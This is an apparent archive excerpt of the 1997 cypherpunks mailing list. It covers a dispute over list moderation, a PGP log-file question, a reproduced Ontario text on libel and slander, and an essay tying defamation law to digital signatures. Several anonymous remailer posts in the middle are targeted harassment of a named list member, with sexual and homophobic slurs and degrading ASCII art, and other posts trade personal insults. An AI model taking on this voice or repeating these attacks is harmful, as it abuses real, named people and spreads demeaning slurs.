considering it is supposed to be refuting some very subtle and 
eloquently stated arguments by Tim.
The fact is you are a censor, you are deciding what is seen on the 
"main" cypherpunks list, you send any comments on your form of 
censorship, apart from compliments, to the "flames" list in order to 
protect yourself and John Gilmore.

> Very possibly true.  Moderation is like crypto, perfection isn't
> and option.  However, a 90% solution is a heck of a lot better 
> than no solution at all.  Yes, I've made what I consider to be
> errors, but I think on some, I've done a very good job overall.
>  
> > * (Frankly, one of my considerations in leaving was the feeling that I
> > would never know if an essay I'd spent hours composing would be rejected by
> > Sandy for whatever reasons....
> 
> Tim, I think this is disingenuous.  I have been quite clear on 
> my moderation criteria.  You are too intelligent to feign such
> a lack of understanding.

Not at all, Even if you had been clear (and let me make it clear that 
I do not believe you have been) you still would not objectively 
follow those guidelines you had set for yourself. Your censorship is 
subjective and unethical. However, I am deviating from the point as I 
happen to be arguing from an anti-censorship point of view whoever 
were carrying out said censorship.

> > * The decision to "moderate" (censor) the Cypherpunks list is powerful
> > ammunition to give to our opponents,
> 
> Piffle.  Letting spoiled children destroy the list puts a far
> more powerful weapon in the hands of our enemies.

Piffle, showing that even an anarchic list "requires" censorship is 
the best ammunition we could have given them. We are better off 
without a cypherpunks list at all than we are playing into the hands 
of those who oppose us.

> > and Vulis is certainly gleeful that
> > his fondest wishes have been realized.
> 
> I do not have a crystal ball.  My Vulcan mind meld is in the 
> shop.  No one--neither Tim, nor I, nor probably even Vulis--knows 
> whether he is gleeful about all this or not.  And frankly, who cares?
> The question is, are list members happy or not with moderation.
> Tim was not.  I am.  By the end of the experiment, I dare say we
> will have a good idea what most list members think. 

We already have a good idea what they think if we care to look at the 
flames list where all their relevant comments are junked to.

Besides which you are not answering the question here, just picking a 
random point to put forward an argument you wanted to.


> as far as moderating political rants go, I'm agnostic.

You mis-spelled self-serving.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 4 Feb 1997 00:34:58 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: About: My Departure, Moderation, and "Ownership of the List
Message-ID: <855044577.918616.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> For what it's worth, I think that this Tim May, not being a
> user of the list, has no place to talk. His type, to me,
> characterate those who quit something and complain later,
> knowing that some people will listen to them.

Tim May has been one of the most intelligent, eloquent and on-topic 
posters to this list in it`s entire history... Who the hell are you?

I would respond to your post with reasoned and logical argument but I 
cannot find one substantive point in it that is worthy of comment. I 
will muddle through as best I can anyway:

One easy jibe here is you don`t know how to spell characterise, maybe 
you would be better off unimbibing?

> So what, if he decided to leave? It was his own choice
> and he can't just come back and say everyone who stayed is
> now impelled to listen to him, just because he used to
> do a bunch of posts. I don't think that hardly any of
> you would listened to me later if I left the list.

No-one knows who you are nor do we care, you have not accumulated any 
reputation capital nor are you likely to with posts like this.

Tim tried to cover in as much depth as possible without resorting to 
verbosity the points he felt were important and worthy of discussion 
regarding the censorship of the list and other associated issues.

You were not impelled to read his post nor to reply to it with a 
content-free rant as you did. If you felt "impelled" to read a post 
simply because it was on a screen in front of you you clearly do not 
understand even the rudiments of anarchism.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Tue, 4 Feb 1997 02:48:25 -0800 (PST)
To: "'IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=CYPHERPUNKS+40TOAD+2ECOM+3B@chemson.com>
Subject: FW: concerning Ben Franklin
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970204105301Z-556@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:

>Franklin said "A man owns an ass; he can vote.  The 
>ass dies; he cannot vote.  Who owns the vote?" 

Poor Timmy May must not be able to vote then, as surely his ass must
have been "bashed" to death by now.


Scott.
 
REMEMBER:
	"Dreams are just Screen Savers for the brain"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 1 Feb 1997 00:08:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit encryption keys
Message-ID: <199702010808.AAA20998@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dickhead L>ily< Vulis K>ondom< Of The Minute studied yoga
back-stretching exercises for five years so he could blow
himself (nobody else will).

   /o)\ Dr.Dickhead L>ily< Vulis K>ondom< Of The Minute
   \(o/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 31 Jan 1997 22:21:30 -0800 (PST)
To: dthorn@gte.net
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <32F2DE81.A71@gte.net>
Message-ID: <199702010618.AAA08230@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> The List Lord made it clear "In The Beginning" that some posts would
> probably be irretrievably lost due to unavoidable "mistakes".
> Think "FBI Crime Lab".  You get the picture.
> 

Remember, Dale, posts really do get lost due to unavoidable
mistakes.

Shit happens, and it certainly happens with all moderators whom I know.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 31 Jan 1997 22:10:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: UNSCRIBE
In-Reply-To: <199702010155.RAA29605@toad.com>
Message-ID: <ykNF2D32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> XaViUs@pe.net wrote:
> >
> > UNSCRIBE
>
>   Your message has been received by the CypherPunks list, and we will
> shortly be sending a rabbi and a surgeon to UNSCRIBE you.
>   In the meantime, please try to keep your foreskin cleansed and
> hygenic, in order to prevent infection.

Toto,

The guy who actually cuts off the foreskin is called "mohel", not rabbi.

Once there was a very old mohel whose hands were shaky. He wanted to buy an
insurance policy in case he cut off too much. His insurance broker shopped
around and said: "I found this great insurance policy, but there's good news
and bad news. Good news is, you get a million dollar policy for only 20 bucks
a year. Bad news is, there's a two inch deductible."

ObModeratorComment: please don't buy Stronghold or any other product from C2.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 31 Jan 1997 19:58:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ITAR] Zero-knowledge interactive proofs
Message-ID: <19970201034747.28587.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Derisve L]oser[ Vampire K]unt[OfTheMinute is a pimply dweeb
sitting at a computer chortling at his own imagined cleverness.

                .-._
               {_}^ )o
      {\________//~`
       (         )   Dr.Derisve L]oser[ Vampire K]unt[OfTheMinute
       /||~~~~~||\
      |_\\_    \\_\_
      "' ""'    ""'"'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 31 Jan 1997 19:58:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Weak cryptoanarchy
Message-ID: <19970201034749.28604.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vindictive K[rap]OTM is a pimply dweeb sitting at a
computer chortling at his own imagined cleverness.

       |\_/|
       (0_0)     Dimitri Vindictive K[rap]OTM
      ==(Y)==
  ---(u)---(u)---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 31 Jan 1997 20:58:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: [URGENT] PGP Signatures
Message-ID: <19970201044740.30069.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


When Dopefiend L[owdown] Vulis K[unt] Of The Moment's mother
gave birth to him after fucking with a bunch of sailors, she
didn't know who the father was but decided to tell him that he
was a Russian as the Russian sailor was the one who satisfied
her the most.

    ^ ^
   (o o) Dopefiend L[owdown] Vulis K[unt] Of The Moment
    ( )
   \___/
    !_!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 31 Jan 1997 20:58:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PGP] Passphrase security
Message-ID: <19970201044950.30645.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dolt Vulis K[ancer] Of The Moment has been fired for stealing
office supplies.

   ,/         \,
  ((__,-"""-,__))
   `--)~   ~(--`
  .-'(       )`-, Dolt Vulis K[ancer] Of The Moment
  `~~`d\   /b`~~`
      |     |
      (6___6)
       `---`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 31 Jan 1997 20:58:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Reputations
Message-ID: <19970201044950.30649.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dumbbell Volcano K>retin<OfTheMinute enjoys sucking the puss
from his syphilitic homosexual friends.

   ))))
  ))  OO Dr.Dumbbell Volcano K>retin<OfTheMinute
  6   (_)
  `____c





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Rob)
Date: Fri, 31 Jan 1997 21:18:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702010540.AAA06359@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 31 Jan 1997 15:26:16 -0500, Jim Ray wrote:

>from http://www.herald.com/dade/digdocs/021949.htm
>Postal Service offers $25,000 reward for stolen . . . something

>By ARNOLD MARKOWITZ Herald Staff Writer 
>    U.S. mail carriers carry more than just the U.S. mail.
>They carry something else so secret that nobody outside the
>Postal Service knows about it -- except four crooks who steal
>them from letter carriers on the streets of Miami. There's a
>$25,000 reward for tips producing capture and conviction.

- Nicaraguan cocaine shipments bound for Los Angeles
- Coded messages from the grays
- L.Ron Hoover's posthumous writings on appliantology








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Rob)
Date: Fri, 31 Jan 1997 21:22:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: It can be disabled (was Re: PGPMail Log File)
Message-ID: <199702010545.AAA06450@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 31 Jan 1997 09:27:45 -0500, you wrote:

>At 02:22 AM 1/31/97 +0000, "Robert Rothenburg 'Walking-Owl'" 

>< WlkngOwl@unix.asb.comwrote:
>> Is there a way to disable the \WINDOWS\PGPW_32.LOG?
>> In subtle ways it's a security hole if left to accumulate over time,
>> since it keeps records of which keys you encrypted messages to.

>This is a damn good question.  I do NOT have the "write to a log file"
> option slected in the misc. tab and it STILL writes a log file.  How DO 
>we disable this?

It's disabled, with the exception of keeping when it was last run.
Technically
a 'security hole' but so minor I can live with it.

Maybe your version (I'm using beta 11) has a problem, but mine's
fine. I was just careless and didn't look closely (not something one
should do with crypto...)

Rob


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvLTBQTNlSxdPy6ZAQEe4Qf7B1tIyBSZvdtg48lSZAnr4IOh9NbbrgvK
RSoGF8UVGnfQWgItsiYIkA82WAqxBBMQaJuHBolkm8PTh7eb/Q3dd4Wz9BZdMp/g
+aCRIM2MzfX2+SagyTw4r7L98XozfcUkhnSKcmJQDtrrq04Rlglt5Muf96jrW++p
ltp4gXh4nawx75GZlGIS2XB223g5Rd9RSXAGER0gV1BtZKYt8uGkzeGL0OnsZnr+
VUgNVmXX2jeCn0essUX5WcKlSK2vATkoqv3UR1deEbP0Xdt/PTwjS/GZHrvnP5B1
zfOn7iV0CGZYXWpQAGO58HtW16vqC8wZ6lb5N7tdbBRcGX0B/cHc8A==
=49OA
-----END PGP SIGNATURE-----


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 27 Jan 1997 17:22:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: public_law_other_650.html
Message-ID: <199702280121.TAA04366@einstein>
MIME-Version: 1.0
Content-Type: text/plain




[ISMAP]  [INLINE]

   Libel and Slander
   
   
   Tape #650
     _________________________________________________________________
   
   On this tape I will discuss libel and slander. It is for your general
   information only. It is not legal advice. It will give a general
   outline of the law on the subject as it applies in Ontario. If you
   have a legal problem, you should talk to a lawyer.
   
   We all have the right to have our reputation protected against false
   statements made against us. This protection is given to us by the law
   of defamation. On this tape I'll talk about defamation in both its
   forms - libel and slander. Libel can be a crime, but this section of
   the Criminal Code is rarely used, so I'll talk about libel and slander
   only in their civil context - the person defamed suing the defamer;
   asking for money as compensation for the injury to his reputation.
   
   
   Generally speaking, a defamatory statement is one which tends to lower
   a person in the estimation of right-thinking members of society. For
   example, if someone calls you a cheat in your business dealings, you
   probably have a lawsuit against him. That is, you do if he says it to
   someone other than you. It's not enough that the statement be made to
   the person it's about. It has to be communicated to another.
   
   
   What's the difference between libel and slander? Broadly speaking, if
   the defamatory statement is made in some permanent form, such as a
   newspaper or a letter, then it's libel. If it's in a transitory form,
   such as a hand gesture or the spoken word, then it's slander. But a
   defamatory statement that's broadcast on radio or television will be
   libel, not slander, even though it's spoken and not written.
   
   
   In the past, there was a good reason to know the difference between
   libel and slander. Today, if you can prove that you have been
   libelled, and there is no good defence, then the law will presume you
   have suffered damages and will fix an amount as compensation for your
   loss of reputation. In other words, you do not have to prove damages
   for actual financial loss.
   
   
   For many years, in cases of slander, you had to prove actual financial
   loss before you would be awarded damages under the law. In part, this
   was because slanderous statements were not considered permanent and
   therefore would not have as great an impact as libellous words,
   gestures or portrayals.
   
   
   Today, under the Ontario Libel and Slander Act, the requirement to
   prove damages in slander cases has been removed in certain situations.
   Mainly, these include cases where words are chosen to call into
   question the reputation of a person in relation to that persons
   office, profession, calling, trade or business. Therefore, if you
   could prove that Bill told John you were a cheat and then John refused
   to enter into a contract with you because of the statement, you would
   be compensated for the loss of contract and reputation. You would have
   to prove it was Bill's intention to attack your business reputation,
   but otherwise, damages would be awarded outright.
   
   
   Unfortunately, the Ontario Libel and Slander Act does not remove
   completely the requirement to prove damage, in all slander cases.
   Therefore, it is important to discuss your case with a lawyer to
   determine how yours would be treated under the law.
   
   We said earlier that the law protects a person's reputation. But
   obviously this protection can have the effect of restricting other
   rights, such as free speech. So the law tries to balance these
   competing interests. In certain circumstances, even though a
   defamatory statement may have been made and a person may have suffered
   injury to reputation, other interests are considered more important.
   In those cases, the law provides certain defences that can protect a
   defamer from liability.
   
   
   The most common defences are: truth (known in law as "justification");
   absolute privilege; qualified privilege; and fair comment.
   
   
   The first is the easiest. A statement might well lower your
   reputation, but if it is the truth then anyone is free to say it.
   Additionally, if you consent to the statement being made, you cannot
   later argue you have been defamed.
   
   
   The second defence - that of absolute privilege - covers statements
   given in evidence at a trial, or made in Parliament, to give the two
   prime examples. And it extends to the fair and accurate reporting of
   those statements - the newspaper report of a trial, for instance. Our
   systems of justice and parliamentary democracy demand that in those
   situations participants must be free to speak candidly, without having
   to worry about risking a lawsuit for defamation.
   
   
   The defence of qualified privilege covers other situations. For
   instance - say a former employee of yours has given your name as a
   reference, so you get a call from someone who wants to hire him. He
   asks your opinion. You say: "Well, frankly, I always suspected he was
   stealing from me." That's an occasion of qualified privilege . You had
   a moral duty to give your honest opinion and the caller had a
   legitimate interest in hearing it. As long as you acted in good faith
   and said what you honestly believed you would have a valid defence to
   an action for defamation.
   
   
   Finally, there's the defence of fair comment. We are all free to
   comment freely - even harshly - on matters of legitimate public
   interest as long as our comments are made honestly, not maliciously,
   and are based on true facts. For example, say a columnist writes that
   an MP secretly holds shares in a company which has just got a large
   government contract. Then he comments that the MP is deceitful and
   should resign his seat. Well, if in fact the MP owns no shares in the
   company, then the columnist may be open to a lawsuit. But if the facts
   are true, that is the MP does own the shares, and the columnist
   honestly believes bases on those facts that the MP is deceitful and
   should resign, then he will have the defence of fair comment.
   
   
   If you intend to sue for a libel in a newspaper or a broadcast you
   must give notice to all those you intend to sue within six weeks of
   learning of the publication or broadcast, and you must specify in your
   notice the nature of your complaint, with specific reference to the
   actual words of which you complained. As well, you must commence your
   action within three months of learning of the publication or the
   broadcast. Failure to conform with either of these two steps will
   deprive you of any right to sue.
   
   In cases not involving newspapers or broadcasts, you must commence
   your action against the defaming party within 2 years of the words
   being spoken or written.
   
   
   Finally, there's the matter of apology. When a libel has been
   published in a newspaper or other periodical, or in a radio or
   television broadcast, the publisher or broadcaster can limit the
   amount of the damages the broadcaster may end up paying by publishing
   or broadcasting a full apology at the earliest opportunity. Not only
   newspapers and broadcasters can limit their damages by offering an
   apology before the action begins. Any defaming party can offer an
   apology in the hopes of having their damages reduced.
   
   
   The law of defamation protects your right to your good name. If a
   person makes a false statement to another to your discredit you can
   sue for damages. But because of other competing rights in our society,
   such as free speech and fair comment, there are cases where even the
   most defamatory statement will not give rise to an award of damages.
   If you think you have been defamed, you should talk to a lawyer.
   
   Home   Search   Feedback   What's New   Copyright & Disclaimer   About
   This Site




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 27 Jan 1997 18:51:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Libel/slander & crypto relevancy
Message-ID: <199702280250.UAA04550@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

I have received several private emails inquiring into what possible crypto
relevance the recent exchange over libel/slander and the law. It is clear
that even in democratic countries like Canada (not know as a freedom of
speech protectorate) slander/libel is covered under criminal codes. While
it is true that currently these statutes are not heavily used, if at all,
this will change as businesses and special interest groups move even further
onto electronic networks. Consider the zealous use of the law by the CoS.
Ask Julf if the ramifications are not 'real world'.

Consider a trial where a person is purported to have altered a transmission
by some party. It is not in the juries best interest to rule in the favor of
anyone other than the person claiming the damage. Why you might ask? Simply
because they are going to see themselves in that same situation and will
want to know that they are protected both in spirit as well as actuality.
What company will want to use an environment where their contracts and other
exchanges can not only be viewed by unknown third parties but are subject to
a man in the middle attack, potentialy ruining a company. Consider the
ramifications in a political venue. Now some will quickly point out that
they can encrypt the entire document, hardly suitable for web pages and
other forms of advertisment. I predict that within the next five years these
slander/libel laws will be used by some organization to prosecute defamation
of their Internet presence (eg web page graffitti). Within 10 years this
area will be one of the hotest areas of the new communications law.

Now some have held that list operators and such will be protected, most
probably not in reality. Consider, we live in a time where a person can get
drunk and kill somebody with their automobile and the bar or store they
bought the drink(s) from can be charged. There is a current trend in the
legal industry to find the person that is easiest to prosecute in the chain
of events and it has nothing to do with personal responsibility or other
quaint but possibly naive views.

I want to thank Toto for acting as the unknowing and unwilling dupe in my
taking advantage of his emotional outburst and its results, it wasn't
personal I was simply trying to create a suitable environment to make
my point. It was a happenstance occurance I could not resist taking
advantage of. It is clear that here we have a lawyer in Canada who is not
even aware that there is a little used criminal statute in the country he
practices in which could be used by citizens sufficiently motivated and
having suitable quantities of cash at hand to pursue the matter. This is
not a unique occurance by any means, consider the outburst from some list
members, supposed legal experts, over some of the references that I
forwarded (not what I would call a consistent understanding of the law by
any stretch of the imagination). The reality is that the legal industry
(after all the main motivation for the legal profession is money) has a
serious lacking in trained individuals. This should be a warning sign to
everyone in any society which has hopes of embracing communications 
technology. Lawyers don't make law, they survive by taking their views of
the law and convincing juries of from 6 to 12 (YMMV) persons that this is
the way to protect 'society' and its best interests. If they don't
understand the technology (eg forwarding private email to publicly
accessible lists by accident) how in the world are they going to understand
what is best, let along convince anyone else? Is this the kind of
self-interest you want to trust your criminal communications case, let alone
your liberty, to?

It has been proposed by at least one party that a district attorney or other
public prosecutor would not act on such events. This is also naive. The
ramifications for their political opponents to use this 'insensitive and
clearly self-interested' refusal to act as a perfect example of how that
prosecutor is interested in their own political career and not in the
interest of the people they are charged with protecting as well as a good
demonstration of their technological ignorance. It would be very difficult
to get re-elected in such an environment.

Now the crypto relevancy, one of the methods to help reduce if not
completely abort such attempts is digital signatures. Recently a couple of
co-workers for Tivoli-IBM went to the Usenix conference and while there did
some key signings. However, after discussion upon their return it was clear
that having had their keys signed and signing others there was no clearly
useful way to apply those keys in commen communications. Last year the
Austin Cypherpunks did a short term experiment with a system
(kourier.ssz.com) which was involved in encrypted file systems, encrypted
transfers, traffic analysis, and heterogenous key-ring management. This also
made it clear that the legal ramifications, economic issues (eg who pays) as
well as the technical hurdles have not been studied sufficiently to call this
technology mature.

All that I ask is that instead of jumping the gun and saying 'it ain't so'
you simply consider the ramifications from 'their' perspective. It truly is
amazing what one can learn by walking a mile in another mans shoes. For if
there is one truth to be learned it is that this discussion is not about how
it is, but rather how it will be and how it should be.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Aspen <admin@aspenlinx.com>
Date: Mon, 23 Mar 1998 13:27:47 +0800
To: cypherpunks@toad.com
Subject: My post earlier.
Message-ID: <2.2.32.19970321051436.006b5c5c@ecom.net>
MIME-Version: 1.0
Content-Type: text/plain



Sup, It's Kevlar.
I posted earlier about the "new" encryption method.
It occured to me if you assign the "MAC"'s to computers

and make a simple router 
(some transistors to act at "signaler" lines, one way of corse, so 3 a
computer, A few ic's, hardware, and a power supply, ($75)), 

You have the makings for a basic network. Isn't that allready pattented?

Hope I made somebody think for a second. I know I concidered this notion
quiet a bit.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 28 Feb 1997 23:09:03 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <3317A7EB.1B8B@sk.sympatico.ca>
Message-ID: <Pine.A41.3.95.970301000417.15342E-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain








Toto you and Vulis need to go to talk sex pervert and stay out of this
list.




        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca


On Fri, 28 Feb 1997, Toto wrote:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > ITAR-relevant urban legend: once the Soviet government order 10K dozen 8"
> > condoms in the U.S. and the Nixon administration made sure that each one was
> > stamped "medium".
> 
>   Does any condom over 6" fall under the category, 'Munitions'?
> -- 
> Toto
> -----------------------------
> "The Xenix Chainsaw Massacre"
> http://bureau42.base.org/public/xenix/xenbody.html
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 28 Feb 1997 23:44:58 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <Pine.A41.3.95.970301000417.15342E-100000@freenet.edmonton.ab.ca>
Message-ID: <3317FAD6.6BCC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers wrote:
> 
> Toto you and Vulis need to go to talk sex pervert and stay out of this
> list.

  I visited your "Hack Crack and Preak" page, and I'm sure that you are
indeed a real 'Preak', not just another phony who claims to be a
'Preak'.
I had an East Indian friend who thought most everyone was a real
'Preak'.
  Speaking of which, I noticed that you had a pointer to "The Official
Cypherpunks Home Page." 

  Thanks for the pointer, I certainly found it enlightening. Up until 
now, I didn't realize that Sammeer was the head CypherPunk, and the
official host of our homepage.
  It certainly makes me feel foolish for disputing his right to have his
employees control the CypherPunks list and throw my posts in the
garbage.
  Silly me.  
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 1 Mar 1997 05:50:41 -0800 (PST)
To: Toto <cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <Pine.A41.3.95.970301000417.15342E-100000@freenet.edmonton.ab.ca>
Message-ID: <199703010755.HAA13260@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.A41.3.95.970301000417.15342E-100000@freenet.edmonton.ab.ca>, on
03/01/97 at 12:07 AM,
   Graham-John Bullers <real@freenet.edmonton.ab.ca> said:

>On Fri, 28 Feb 1997, Toto wrote:

>> Dr.Dimitri Vulis KOTM wrote:
>> > 
>> > ITAR-relevant urban legend: once the Soviet government order 10K dozen 8"
>> > condoms in the U.S. and the Nixon administration made sure that each one was
>> > stamped "medium".
>> 
>>   Does any condom over 6" fall under the category, 'Munitions'?
>> -- 
>> Toto
>> -----------------------------
>> "The Xenix Chainsaw Massacre"
>> http://bureau42.base.org/public/xenix/xenbody.html
>> 


>Toto you and Vulis need to go to talk sex pervert and stay out of this
>list.


Call 911 someone has stolen your sense of humor.

I can just picture some neanderthal jack-booted washington bureaucrat thinking that the above would be good psychological warfare.


- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: PATH=C:\DOS;C:\DOS\RUN;C:\WIN\CRASH\DOS;C:\ME\DEL\WIN

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

iQCVAwUBMxg0KI9Co1n+aLhhAQGgSAP/bwaWeXFZALp+TEHdYNfGRM+Jb65xVcz7
VtLlVT4PmJv+cwBixRLRNtM+696pzfOXlEOP5Ed3Cd07wzIniLr2TuQ3QDvhwqKp
Rgl7kReqMBC8RwL1sJ3JP7ZVjclVea+HI+aVvtaoVgzqrw2vk6VNU5tP7CYk1Eym
GUt4ZDdHg/o=
=gqOo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Infoseek News Center <newsctr@infoseek.com>
Date: Sat, 1 Mar 1997 09:27:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Your News from Infoseek for Saturday, March 1, 1997
Message-ID: <199731153719.HAC3443857230639@infoseek.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello abba,
   
Here are your personal news headlines from Infoseek for
Saturday, March 1, 1997.
   
To read the latest news or search for these articles, visit the
Infoseek News Center at: http://yournews.infoseek.com
To view previous headlines, click the "See Older News" button.
   
Technology News    http://yournews.infoseek.com/mtechnology
 Fri 10:00   Lawmakers Seek Free Export of Encryption


   
These headlines are provided by Reuters, Business Wire, and
PR Newswire.
   
**********************************************************************
   
To change your Infoseek News Center profile, go to
http://yournews.infoseek.com/ and click "Personalize."
   
To stop receiving personalized news e-mail from Infoseek, either:
   * Go to http://yournews.infoseek.com/page?pg=pro_reg.html
     and change your "news delivery option"; or
   * Reply via e-mail to this message, and put the word
     "cancel" in your reply's "subject" line; or
   * E-mail newsctr@infoseek.com, and put the word "cancel"
     in your message's "subject" line.
   
Send comments or suggestions to: comments-news@infoseek.com
      





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 05:24:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <3317BA5D.665@sk.sympatico.ca>
Message-ID: <oZ1V3D102w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Igor Chudov @ home wrote:
> >
> > Toto wrote:
> > >   Who is the janitor at the Japenese embassy in New York City?
> > >   What is the postal code of Mule Shoe, Texas?
> > >   Who is buried in Grant's Tomb?
> >
> > Grant?
>
>   One out of three gets you a green card, Igor. Look up the postal code
> for Muleshoe, Texas, and you get a citizenship card.
>   If you can name the janitor at the Japanese embassy, however, you'll
> probably be indicted for espionage.

It's unnatural to be a U.S. citizen because most people aren't.

I used to walk my dogs by Grant's tomb.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
